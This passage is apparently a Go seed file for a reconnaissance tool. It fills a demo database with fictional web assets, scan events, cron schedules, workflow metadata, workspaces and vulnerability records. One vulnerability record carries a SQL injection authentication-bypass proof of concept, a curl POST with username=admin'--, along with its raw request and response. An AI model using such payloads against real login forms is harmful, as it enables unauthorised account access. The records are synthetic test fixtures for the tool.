oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "beta.example.com", URL: "https://beta.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 500, ContentType: "text/html", ContentLength: 234, Title: "Internal Server Error", HostIP: "93.184.216.61", DnsRecords: []string{"93.184.216.61"}, TLS: "TLS 1.3", Technologies: []string{"Nginx"}, ResponseTime: "1234ms", Remarks: []string{"Beta environment - currently broken"}, Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "old.example.com", URL: "https://old.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 301, ContentType: "text/html", ContentLength: 178, Title: "Moved Permanently", HostIP: "93.184.216.62", DnsRecords: []string{"93.184.216.62"}, TLS: "TLS 1.2", Technologies: []string{"Apache"}, ResponseTime: "89ms", Source: "httpx", LastSeenAt: oneWeekAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "api-v2.example.com", URL: "https://api-v2.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "application/json", ContentLength: 89, Title: "", HostIP: "93.184.216.63", DnsRecords: []string{"93.184.216.63"}, TLS: "TLS 1.3", Technologies: []string{"FastAPI", "Python", "uvicorn"}, ResponseTime: "34ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "cms.example.com", URL: "https://cms.example.com/admin/", Scheme: "https", Method: "GET", Path: "/admin/", StatusCode: 401, ContentType: "text/html", ContentLength: 456, Title: "Login Required - CMS Admin", HostIP: "93.184.216.64", DnsRecords: []string{"93.184.216.64"}, TLS: "TLS 1.3", Technologies: []string{"Strapi", "Node.js", "React"}, ResponseTime: "156ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "assets.example.com", URL: "https://assets.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/plain", ContentLength: 0, HostIP: "104.16.125.96", DnsRecords: []string{"104.16.125.96", "104.16.126.96"}, TLS: "TLS 1.3", Technologies: []string{"CloudFlare", "AWS S3"}, ResponseTime: "15ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "prometheus.example.com", URL: "https://prometheus.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 8765, Title: "Prometheus Time Series", Words: 123, Lines: 45, HostIP: "10.0.0.103", DnsRecords: []string{"10.0.0.103"}, TLS: "TLS 1.3", Technologies: []string{"Prometheus", "Go"}, ResponseTime: "56ms", Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "kibana.example.com", URL: "https://kibana.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 502, ContentType: "text/html", ContentLength: 567, Title: "502 Bad Gateway", HostIP: "10.0.0.104", DnsRecords: []string{"10.0.0.104"}, TLS: "TLS 1.3", Technologies: []string{"Nginx"}, ResponseTime: "5000ms", Remarks: []string{"Elasticsearch backend down"}, Source: "httpx", LastSeenAt: oneWeekAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, // test.local workspace assets { Workspace: "test.local", AssetValue: "web.test.local", URL: "http://web.test.local/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 12345, Title: "Test Web Application", Words: 456, Lines: 123, HostIP: "192.168.1.10", DnsRecords: []string{"192.168.1.10"}, Technologies: []string{"Vue.js", "Nginx"}, ResponseTime: "12ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "test.local", AssetValue: "db.test.local", URL: "http://db.test.local:8080/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 5678, Title: "phpMyAdmin", Words: 234, Lines: 89, HostIP: "192.168.1.11", DnsRecords: []string{"192.168.1.11"}, Technologies: []string{"phpMyAdmin", "PHP", "Apache"}, ResponseTime: "45ms", Remarks: []string{"Database admin panel"}, Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "test.local", AssetValue: "redis.test.local", URL: "http://redis.test.local:8081/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 3456, Title: "Redis Commander", Words: 123, Lines: 56, HostIP: "192.168.1.12", DnsRecords: []string{"192.168.1.12"}, Technologies: []string{"Redis Commander", "Node.js"}, ResponseTime: "23ms", Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "test.local", AssetValue: "minio.test.local", URL: "http://minio.test.local:9000/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 403, ContentType: "application/xml", ContentLength: 234, Title: "", HostIP: "192.168.1.13", DnsRecords: []string{"192.168.1.13"}, Technologies: []string{"MinIO", "Go"}, ResponseTime: "34ms", Remarks: []string{"Object storage - access denied"}, Source: "httpx", LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "test.local", AssetValue: "rabbit.test.local", URL: "http://rabbit.test.local:15672/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 7890, Title: "RabbitMQ Management", Words: 345, Lines: 123, HostIP: "192.168.1.14", DnsRecords: []string{"192.168.1.14"}, Technologies: []string{"RabbitMQ", "Erlang"}, ResponseTime: "67ms", Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, // ============================================================ // DIFF DEMONSTRATION ASSETS // These assets are specifically designed to demonstrate the // diff functionality with varied created_at, updated_at, and // last_seen_at timestamps. // ============================================================ // --- NEWLY ADDED ASSETS (created within last hour) --- // These will appear as "added" in diff queries for recent time ranges { Workspace: "example.com", AssetValue: "new-api.example.com", URL: "https://new-api.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "application/json", ContentLength: 156, Title: "", HostIP: "93.184.216.70", DnsRecords: []string{"93.184.216.70"}, TLS: "TLS 1.3", Technologies: []string{"FastAPI", "Python"}, ResponseTime: "45ms", Remarks: []string{"Newly discovered API endpoint"}, Source: "httpx", LastSeenAt: thirtyMinsAgo, CreatedAt: thirtyMinsAgo, UpdatedAt: thirtyMinsAgo, }, { Workspace: "example.com", AssetValue: "v3.example.com", URL: "https://v3.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 23456, Title: "Example V3 Beta", Words: 567, Lines: 234, HostIP: "93.184.216.71", DnsRecords: []string{"93.184.216.71"}, TLS: "TLS 1.3", Technologies: []string{"Next.js", "React", "Vercel"}, ResponseTime: "89ms", Remarks: []string{"New version just launched"}, Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, // --- CHANGED ASSETS (created earlier, updated recently) --- // These will appear as "changed" in diff queries { Workspace: "example.com", AssetValue: "portal.example.com", URL: "https://portal.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 45678, Title: "Customer Portal - Updated", Words: 1234, Lines: 456, HostIP: "93.184.216.72", DnsRecords: []string{"93.184.216.72"}, TLS: "TLS 1.3", Technologies: []string{"Angular", "Node.js", "MongoDB"}, ResponseTime: "234ms", Remarks: []string{"Portal updated with new features"}, Source: "httpx", LastSeenAt: oneHourAgo, CreatedAt: oneWeekAgo, // Created a week ago UpdatedAt: oneHourAgo, // But updated recently (title changed) }, { Workspace: "example.com", AssetValue: "dashboard.example.com", URL: "https://dashboard.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 67890, Title: "Analytics Dashboard v2.5", Words: 2345, Lines: 789, HostIP: "93.184.216.73", DnsRecords: []string{"93.184.216.73"}, TLS: "TLS 1.3", Technologies: []string{"Vue.js", "D3.js", "PostgreSQL"}, ResponseTime: "156ms", Remarks: []string{"Dashboard version bumped"}, Source: "httpx", LastSeenAt: twoHoursAgo, CreatedAt: twoWeeksAgo, // Created two weeks ago UpdatedAt: twoHoursAgo, // Updated today (version change) }, { Workspace: "example.com", AssetValue: "auth.example.com", URL: "https://auth.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 12345, Title: "SSO Login - Security Update", Words: 345, Lines: 123, HostIP: "93.184.216.74", DnsRecords: []string{"93.184.216.74"}, TLS: "TLS 1.3", Technologies: []string{"Keycloak", "Java", "Redis"}, ResponseTime: "78ms", Remarks: []string{"Auth service patched"}, Source: "httpx", LastSeenAt: oneDayAgo, CreatedAt: oneMonthAgo, // Created a month ago UpdatedAt: oneDayAgo, // Updated yesterday (security patch) }, // --- STALE/REMOVED ASSETS (not seen recently) --- // These will appear as "removed" in diff queries when comparing recent scans { Workspace: "example.com", AssetValue: "deprecated-api.example.com", URL: "https://deprecated-api.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 503, ContentType: "text/html", ContentLength: 234, Title: "Service Unavailable", HostIP: "93.184.216.80", DnsRecords: []string{"93.184.216.80"}, TLS: "TLS 1.2", Technologies: []string{"Nginx"}, ResponseTime: "5000ms", Remarks: []string{"API deprecated and decommissioned"}, Source: "httpx", LastSeenAt: twoWeeksAgo, // Last seen 2 weeks ago - now gone CreatedAt: oneMonthAgo, UpdatedAt: twoWeeksAgo, }, { Workspace: "example.com", AssetValue: "old-portal.example.com", URL: "https://old-portal.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 404, ContentType: "text/html", ContentLength: 178, Title: "Not Found", HostIP: "93.184.216.81", DnsRecords: []string{"93.184.216.81"}, TLS: "TLS 1.2", Technologies: []string{"Apache"}, ResponseTime: "123ms", Remarks: []string{"Old portal removed after migration"}, Source: "httpx", LastSeenAt: oneWeekAgo, // Last seen a week ago CreatedAt: oneMonthAgo, UpdatedAt: oneWeekAgo, }, { Workspace: "example.com", AssetValue: "test-env.example.com", URL: "http://test-env.example.com/", Scheme: "http", Method: "GET", Path: "/", StatusCode: 000, ContentType: "", ContentLength: 0, Title: "", HostIP: "10.0.0.200", DnsRecords: []string{"10.0.0.200"}, Technologies: []string{}, ResponseTime: "timeout", Remarks: []string{"Test environment taken offline"}, Source: "httpx", LastSeenAt: fiveDaysAgo, // Last seen 5 days ago - offline CreatedAt: twoWeeksAgo, UpdatedAt: fiveDaysAgo, }, // --- HISTORICAL ASSETS (created long ago, various states) --- { Workspace: "example.com", AssetValue: "archive.example.com", URL: "https://archive.example.com/", Scheme: "https", Method: "GET", Path: "/", StatusCode: 200, ContentType: "text/html", ContentLength: 89012, Title: "Example Archive - Historical Content", Words: 4567, Lines: 1234, HostIP: "93.184.216.85", DnsRecords: []string{"93.184.216.85"}, TLS: "TLS 1.2", Technologies: []string{"Static HTML", "CloudFlare"}, ResponseTime: "45ms", Remarks: []string{"Stable archive - rarely changes"}, Source: "httpx", LastSeenAt: threeDaysAgo, // Still accessible but rarely scanned CreatedAt: oneMonthAgo, UpdatedAt: oneMonthAgo, // Never updated since creation }, // ============================================================ // NON-HTTP ASSET TYPES // DNS, repository, and external link assets // ============================================================ { Workspace: "example.com", AssetValue: "ns1.example.com", AssetType: "dns", HostIP: "93.184.216.90", DnsRecords: []string{"93.184.216.90", "93.184.216.91"}, Source: "dns-enum", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "example-corp/web-app", AssetType: "repository", Language: "JavaScript", Size: 245760, LOC: 8500, ExternalURL: "https://github.com/example-corp/web-app", Remarks: []string{"Main web application repository"}, Source: "github", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", AssetValue: "https://docs.example.com/api/v2", URL: "https://docs.example.com/api/v2", AssetType: "link", Remarks: []string{"API documentation link found during crawl"}, Source: "crawler", LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, } for i := range assets { // Auto-classify asset type if not provided if assets[i].AssetType == "" { assets[i].AssetType = ClassifyAssetType(assets[i].AssetValue) } if _, err := db.NewInsert().Model(&assets[i]).Exec(ctx); err != nil { return fmt.Errorf("failed to insert asset: %w", err) } } // Seed EventLogs eventLogs := []EventLog{ { Topic: TopicRunStarted, EventID: uuid.New().String(), Name: "subdomain-enum started", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"example.com"}`, scan1ID), Workspace: "example.com", RunID: scan1ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &twoHoursAgo, CreatedAt: twoHoursAgo, }, { Topic: TopicRunCompleted, EventID: uuid.New().String(), Name: "subdomain-enum completed", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"example.com","duration_ms":3600000}`, scan1ID), Workspace: "example.com", RunID: scan1ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &oneHourAgo, CreatedAt: oneHourAgo, }, { Topic: TopicAssetDiscovered, EventID: uuid.New().String(), Name: "New assets discovered", SourceType: "run", Source: "httpx-step", DataType: "asset", Data: `{"count":78,"workspace":"example.com"}`, Workspace: "example.com", RunID: scan1ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &oneHourAgo, CreatedAt: oneHourAgo, }, { Topic: TopicRunStarted, EventID: uuid.New().String(), Name: "port-scan started", SourceType: "run", Source: "scheduler", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"api.example.com","trigger":"daily-recon"}`, scan2ID), Workspace: "api.example.com", RunID: scan2ID, WorkflowName: "port-scan", Processed: true, ProcessedAt: &thirtyMinsAgo, CreatedAt: thirtyMinsAgo, }, { Topic: TopicRunFailed, EventID: uuid.New().String(), Name: "vuln-scan failed", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"staging.test.local","error":"nuclei template loading failed"}`, scan3ID), Workspace: "staging.test.local", RunID: scan3ID, WorkflowName: "vuln-scan", Processed: true, ProcessedAt: &oneHourAgo, CreatedAt: oneHourAgo, }, { Topic: TopicScheduleTriggered, EventID: uuid.New().String(), Name: "daily-recon triggered", SourceType: "run", Source: "scheduler", DataType: "schedule", Data: `{"schedule_id":"sched-daily-recon","trigger_type":"cron","cron":"0 2 * * *"}`, Processed: true, CreatedAt: thirtyMinsAgo, }, // Batch job events for scan4ID (secondary.com) { Topic: TopicRunStarted, EventID: uuid.New().String(), Name: "subdomain-enum started (batch job)", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"secondary.com","run_group_id":"%s"}`, scan4ID, runGroup1ID), Workspace: "secondary.com", RunID: scan4ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &twoHoursAgo, CreatedAt: twoHoursAgo, }, { Topic: TopicRunCompleted, EventID: uuid.New().String(), Name: "subdomain-enum completed (batch job)", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"secondary.com","run_group_id":"%s","duration_ms":3200000}`, scan4ID, runGroup1ID), Workspace: "secondary.com", RunID: scan4ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &oneHourAgo, CreatedAt: oneHourAgo, }, { Topic: TopicAssetDiscovered, EventID: uuid.New().String(), Name: "New assets discovered", SourceType: "run", Source: "httpx-step", DataType: "asset", Data: `{"count":52,"workspace":"secondary.com"}`, Workspace: "secondary.com", RunID: scan4ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &oneHourAgo, CreatedAt: oneHourAgo, }, // Batch job events for scan5ID (tertiary.io) { Topic: TopicRunStarted, EventID: uuid.New().String(), Name: "subdomain-enum started (batch job)", SourceType: "run", Source: "executor", DataType: "scan", Data: fmt.Sprintf(`{"scan_id":"%s","target":"tertiary.io","run_group_id":"%s"}`, scan5ID, runGroup1ID), Workspace: "tertiary.io", RunID: scan5ID, WorkflowName: "subdomain-enum", Processed: true, ProcessedAt: &thirtyMinsAgo, CreatedAt: thirtyMinsAgo, }, // Batch job started event { Topic: "job.started", EventID: uuid.New().String(), Name: "Batch job started", SourceType: "run", Source: "executor", DataType: "job", Data: fmt.Sprintf(`{"run_group_id":"%s","targets":["example.com","secondary.com","tertiary.io"],"total_targets":3}`, runGroup1ID), Processed: true, CreatedAt: twoHoursAgo, }, } for _, event := range eventLogs { if _, err := db.NewInsert().Model(&event).Exec(ctx); err != nil { return fmt.Errorf("failed to insert event log: %w", err) } } // Seed Schedules tomorrow := now.Add(24 * time.Hour) nextWeek := now.Add(7 * 24 * time.Hour) schedules := []Schedule{ { ID: "sched-daily-recon", Name: "Daily Reconnaissance", WorkflowName: "subdomain-enum", WorkflowKind: "module", Target: "example.com", Workspace: "example-recon", TriggerName: "daily-recon", TriggerType: "cron", Schedule: "0 2 * * *", Params: map[string]interface{}{"threads": 10}, IsEnabled: true, LastRun: &twoHoursAgo, NextRun: &tomorrow, RunCount: 45, CreatedAt: now.Add(-45 * 24 * time.Hour), UpdatedAt: now, }, { ID: "sched-weekly-vuln", Name: "Weekly Vulnerability Scan", WorkflowName: "vuln-scan", WorkflowKind: "flow", Target: "example.com", Workspace: "example-vulns", TriggerName: "weekly-vuln", TriggerType: "cron", Schedule: "0 0 * * 0", Params: map[string]interface{}{"severity": "critical,high", "templates": "cves,default"}, IsEnabled: true, LastRun: timePtr(now.Add(-3 * 24 * time.Hour)), NextRun: &nextWeek, RunCount: 12, CreatedAt: now.Add(-84 * 24 * time.Hour), UpdatedAt: now.Add(-3 * 24 * time.Hour), }, { ID: "sched-hourly-monitor", Name: "Hourly Asset Monitor", WorkflowName: "content-discovery", WorkflowKind: "module", Target: "api.example.com", Workspace: "example-monitor", TriggerName: "hourly-monitor", TriggerType: "cron", Schedule: "0 * * * *", Params: map[string]interface{}{"wordlist": "quick.txt", "threads": 20}, IsEnabled: true, LastRun: &oneHourAgo, NextRun: timePtr(now.Add(1 * time.Hour)), RunCount: 720, CreatedAt: now.Add(-30 * 24 * time.Hour), UpdatedAt: oneHourAgo, }, { ID: "sched-monthly-full", Name: "Monthly Full Reconnaissance", WorkflowName: "full-recon", WorkflowKind: "flow", Target: "example.com", Workspace: "example-full", TriggerName: "monthly-full", TriggerType: "cron", Schedule: "0 0 1 * *", Params: map[string]interface{}{"threads": 30, "timeout": 3600, "include_screenshots": true}, IsEnabled: true, LastRun: timePtr(now.Add(-15 * 24 * time.Hour)), NextRun: timePtr(now.Add(15 * 24 * time.Hour)), RunCount: 6, CreatedAt: now.Add(-180 * 24 * time.Hour), UpdatedAt: now.Add(-15 * 24 * time.Hour), }, { ID: "sched-event-new-asset", Name: "New Asset Discovery Trigger", WorkflowName: "port-scan", WorkflowKind: "module", Target: "{{event.asset_value}}", TriggerName: "new-asset-trigger", TriggerType: "event", EventTopic: "asset.discovered", Params: map[string]interface{}{"ports": "1-10000", "rate": 500}, IsEnabled: true, LastRun: &thirtyMinsAgo, RunCount: 89, CreatedAt: now.Add(-60 * 24 * time.Hour), UpdatedAt: thirtyMinsAgo, }, { ID: "sched-disabled-legacy", Name: "Legacy Scan (Disabled)", WorkflowName: "subdomain-enum", WorkflowKind: "module", Target: "legacy.example.com", TriggerName: "legacy-scan", TriggerType: "cron", Schedule: "0 3 * * *", Params: map[string]interface{}{"threads": 5}, IsEnabled: false, LastRun: timePtr(now.Add(-30 * 24 * time.Hour)), RunCount: 120, CreatedAt: now.Add(-150 * 24 * time.Hour), UpdatedAt: now.Add(-30 * 24 * time.Hour), }, } for _, schedule := range schedules { if _, err := db.NewInsert().Model(&schedule).Exec(ctx); err != nil { return fmt.Errorf("failed to insert schedule: %w", err) } } // Seed WorkflowMeta workflowMetas := []WorkflowMeta{ { Name: "subdomain-enum", Kind: "module", Description: "Enumerate subdomains using multiple sources including subfinder, amass, and assetfinder", FilePath: "workflows/modules/subdomain-enum.yaml", Checksum: "a1b2c3d4e5f6789012345678901234567890abcd", Tags: []string{"recon", "subdomain", "enumeration"}, StepCount: 5, ModuleCount: 0, ParamsJSON: `{"threads": 10, "timeout": 300, "resolvers": "resolvers.txt"}`, IndexedAt: now, CreatedAt: now.Add(-30 * 24 * time.Hour), UpdatedAt: now, }, { Name: "port-scan", Kind: "module", Description: "Comprehensive port scanning with masscan and nmap service detection", FilePath: "workflows/modules/port-scan.yaml", Checksum: "b2c3d4e5f67890123456789012345678abcdef01", Tags: []string{"recon", "ports", "services"}, StepCount: 4, ModuleCount: 0, ParamsJSON: `{"ports": "1-65535", "rate": 1000, "top_ports": 1000}`, IndexedAt: now, CreatedAt: now.Add(-25 * 24 * time.Hour), UpdatedAt: now, }, { Name: "vuln-scan", Kind: "flow", Description: "Comprehensive vulnerability scanning flow using nuclei with multiple template categories", FilePath: "workflows/flows/vuln-scan.yaml", Checksum: "c3d4e5f6789012345678901234567890bcdef012", Tags: []string{"vulnerability", "nuclei", "cve"}, StepCount: 0, ModuleCount: 3, ParamsJSON: `{"severity": "critical,high,medium", "templates": "cves,default,exposures"}`, IndexedAt: now, CreatedAt: now.Add(-20 * 24 * time.Hour), UpdatedAt: now, }, { Name: "full-recon", Kind: "flow", Description: "Complete reconnaissance flow including subdomain enumeration, port scanning, and content discovery", FilePath: "workflows/flows/full-recon.yaml", Checksum: "d4e5f67890123456789012345678901cdef0123", Tags: []string{"recon", "comprehensive", "automation"}, StepCount: 0, ModuleCount: 5, ParamsJSON: `{"threads": 20, "timeout": 600, "include_screenshots": true}`, IndexedAt: now, CreatedAt: now.Add(-15 * 24 * time.Hour), UpdatedAt: now, }, { Name: "content-discovery", Kind: "module", Description: "Web content and directory discovery using ffuf and dirsearch", FilePath: "workflows/modules/content-discovery.yaml", Checksum: "e5f678901234567890123456789012def01234", Tags: []string{"recon", "fuzzing", "directories"}, StepCount: 3, ModuleCount: 0, ParamsJSON: `{"wordlist": "common.txt", "threads": 50, "extensions": "php,html,js"}`, IndexedAt: now, CreatedAt: now.Add(-10 * 24 * time.Hour), UpdatedAt: now, }, { Name: "screenshot-capture", Kind: "module", Description: "Capture screenshots of web applications using gowitness", FilePath: "workflows/modules/screenshot-capture.yaml", Checksum: "f6789012345678901234567890123ef012345", Tags: []string{"recon", "visual", "screenshots"}, StepCount: 2, ModuleCount: 0, ParamsJSON: `{"resolution": "1920x1080", "timeout": 30, "delay": 2}`, IndexedAt: now, CreatedAt: now.Add(-5 * 24 * time.Hour), UpdatedAt: now, }, } for _, wm := range workflowMetas { if _, err := db.NewInsert().Model(&wm).Exec(ctx); err != nil { return fmt.Errorf("failed to insert workflow meta: %w", err) } } // Seed Workspaces workspaceRecords := []Workspace{ { Name: "example.com", LocalPath: "/home/osmedeus/workspaces-osmedeus/example.com", DataSource: "local", TotalAssets: 78, TotalSubdomains: 112, TotalURLs: 245, TotalIPs: 45, TotalLinks: 1892, TotalContent: 156, TotalArchive: 23, TotalVulns: 15, VulnCritical: 2, VulnHigh: 5, VulnMedium: 4, VulnLow: 3, VulnPotential: 1, RiskScore: 7.5, Tags: []string{"production", "priority"}, LastRun: &oneHourAgo, RunWorkflow: "subdomain-enum", StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/example.com/run-execution.log", StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/example.com/run-completed.json", StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/example.com/run-workflow.yaml", StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/example.com/run-modules", CreatedAt: now.Add(-30 * 24 * time.Hour), UpdatedAt: oneHourAgo, }, { Name: "api.example.com", LocalPath: "/home/osmedeus/workspaces-osmedeus/api.example.com", DataSource: "cloud", TotalAssets: 23, TotalSubdomains: 5, TotalURLs: 45, TotalIPs: 8, TotalLinks: 234, TotalContent: 12, TotalArchive: 5, TotalVulns: 3, VulnCritical: 0, VulnHigh: 1, VulnMedium: 2, VulnLow: 0, VulnPotential: 0, RiskScore: 4.2, Tags: []string{"api", "internal"}, LastRun: &thirtyMinsAgo, RunWorkflow: "port-scan", StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-execution.log", StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-completed.json", StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-workflow.yaml", StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/api.example.com/run-modules", CreatedAt: now.Add(-15 * 24 * time.Hour), UpdatedAt: thirtyMinsAgo, }, { Name: "staging.test.local", LocalPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local", DataSource: "imported", TotalAssets: 15, TotalSubdomains: 8, TotalURLs: 30, TotalIPs: 4, TotalLinks: 89, TotalContent: 8, TotalArchive: 2, TotalVulns: 0, VulnCritical: 0, VulnHigh: 0, VulnMedium: 0, VulnLow: 0, VulnPotential: 0, RiskScore: 0, Tags: []string{"staging", "internal"}, LastRun: &twoHoursAgo, RunWorkflow: "vuln-scan", StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-execution.log", StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-completed.json", StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-workflow.yaml", StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/staging.test.local/run-modules", CreatedAt: now.Add(-7 * 24 * time.Hour), UpdatedAt: twoHoursAgo, }, // New workspaces for batch job demonstration { Name: "secondary.com", LocalPath: "/home/osmedeus/workspaces-osmedeus/secondary.com", DataSource: "local", TotalAssets: 52, TotalSubdomains: 75, TotalURLs: 189, TotalIPs: 28, TotalLinks: 1245, TotalContent: 89, TotalArchive: 12, TotalVulns: 8, VulnCritical: 1, VulnHigh: 3, VulnMedium: 2, VulnLow: 2, VulnPotential: 0, RiskScore: 6.2, Tags: []string{"production", "batch-job"}, LastRun: &oneHourAgo, RunWorkflow: "subdomain-enum", StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-execution.log", StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-completed.json", StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-workflow.yaml", StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/secondary.com/run-modules", CreatedAt: now.Add(-10 * 24 * time.Hour), UpdatedAt: oneHourAgo, }, { Name: "tertiary.io", LocalPath: "/home/osmedeus/workspaces-osmedeus/tertiary.io", DataSource: "local", TotalAssets: 0, TotalSubdomains: 42, TotalURLs: 0, TotalIPs: 0, TotalLinks: 0, TotalContent: 0, TotalArchive: 0, TotalVulns: 0, VulnCritical: 0, VulnHigh: 0, VulnMedium: 0, VulnLow: 0, VulnPotential: 0, RiskScore: 0, Tags: []string{"new", "batch-job"}, LastRun: &thirtyMinsAgo, RunWorkflow: "subdomain-enum", StateExecutionLog: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-execution.log", StateCompletedFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-completed.json", StateWorkflowFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-workflow.yaml", StateWorkflowFolder: "/home/osmedeus/workspaces-osmedeus/tertiary.io/run-modules", CreatedAt: now.Add(-1 * 24 * time.Hour), UpdatedAt: now, }, } for _, workspace := range workspaceRecords { if _, err := db.NewInsert().Model(&workspace).Exec(ctx); err != nil { return fmt.Errorf("failed to insert workspace: %w", err) } } // Seed Vulnerabilities vulnerabilities := []Vulnerability{ { Workspace: "example.com", VulnInfo: "SQL Injection vulnerability in login endpoint", VulnTitle: "SQL Injection - Authentication Bypass", VulnDesc: "The login endpoint is vulnerable to SQL injection attacks through the username parameter, allowing authentication bypass.", VulnPOC: "curl -X POST 'https://api.example.com/login' -d \"username=admin'--&password=x\"", Severity: "critical", Confidence: "certain", AssetType: "endpoint", AssetValue: "api.example.com", Tags: []string{"sqli", "auth-bypass", "owasp-top10"}, DetailHTTPRequest: "POST /login HTTP/1.1\nHost: api.example.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin'--&password=x", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"status\":\"success\",\"token\":\"eyJ...\"}", RawVulnJSON: `{"template":"sqli-auth-bypass","severity":"critical","host":"api.example.com"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Cross-Site Scripting in search functionality", VulnTitle: "Reflected XSS - Search Parameter", VulnDesc: "The search functionality reflects user input without proper sanitization, allowing arbitrary JavaScript execution.", VulnPOC: "https://blog.example.com/search?q=", Severity: "high", Confidence: "firm", AssetType: "endpoint", AssetValue: "blog.example.com", Tags: []string{"xss", "reflected", "owasp-top10"}, DetailHTTPRequest: "GET /search?q= HTTP/1.1\nHost: blog.example.com", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/html\n\n

Search results for:

